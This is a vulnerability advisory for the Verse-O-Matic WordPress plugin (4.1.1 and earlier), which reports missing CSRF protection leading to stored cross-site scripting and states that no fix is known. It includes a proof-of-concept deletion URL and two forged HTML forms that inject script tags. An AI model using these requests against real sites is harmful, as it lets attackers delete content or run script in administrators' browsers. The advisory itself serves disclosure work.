WordPress Plugin Vulnerabilities

Verse-O-Matic <= 4.1.1 - CSRF to Stored XSS

Description

The plugin does not have any CSRF checks in place, allowing attackers to make logged in administrators do unwanted actions, such as add/edit/delete arbitrary verses and change the settings. Due to the lack of sanitisation in the settings and verses, this could also lead to Stored Cross-Site Scripting issues

Proof of Concept

Delete arbitrary Verse: https://example.com/wp-admin/options-general.php?page=verse-o-matic.php&action=delete&vomID=1

Stored XSS via settings:
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=verse-o-matic.php" method="POST">
      <input type="hidden" name="vom_display" value="random" />
      <input type="hidden" name="vom_switch" value="true" />
      <input type="hidden" name="vom_staticID" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="vom_limit" value="true" />
      <input type="hidden" name="action" value="update_settings" />
      <input type="hidden" name="EditSettings" value="Edit Settings »" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS via added verse:
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=verse-o-matic.php" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="vom_verseText" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="vom_visible" value="yes" />
      <input type="hidden" name="save" value="Add Verse »" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Ajay Sandipan Thorbole
Submitter
Ajay Sandipan Thorbole
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-07-19 (about 2 years ago)
Added
2021-07-19 (about 2 years ago)
Last Updated
2021-08-10 (about 2 years ago)

Other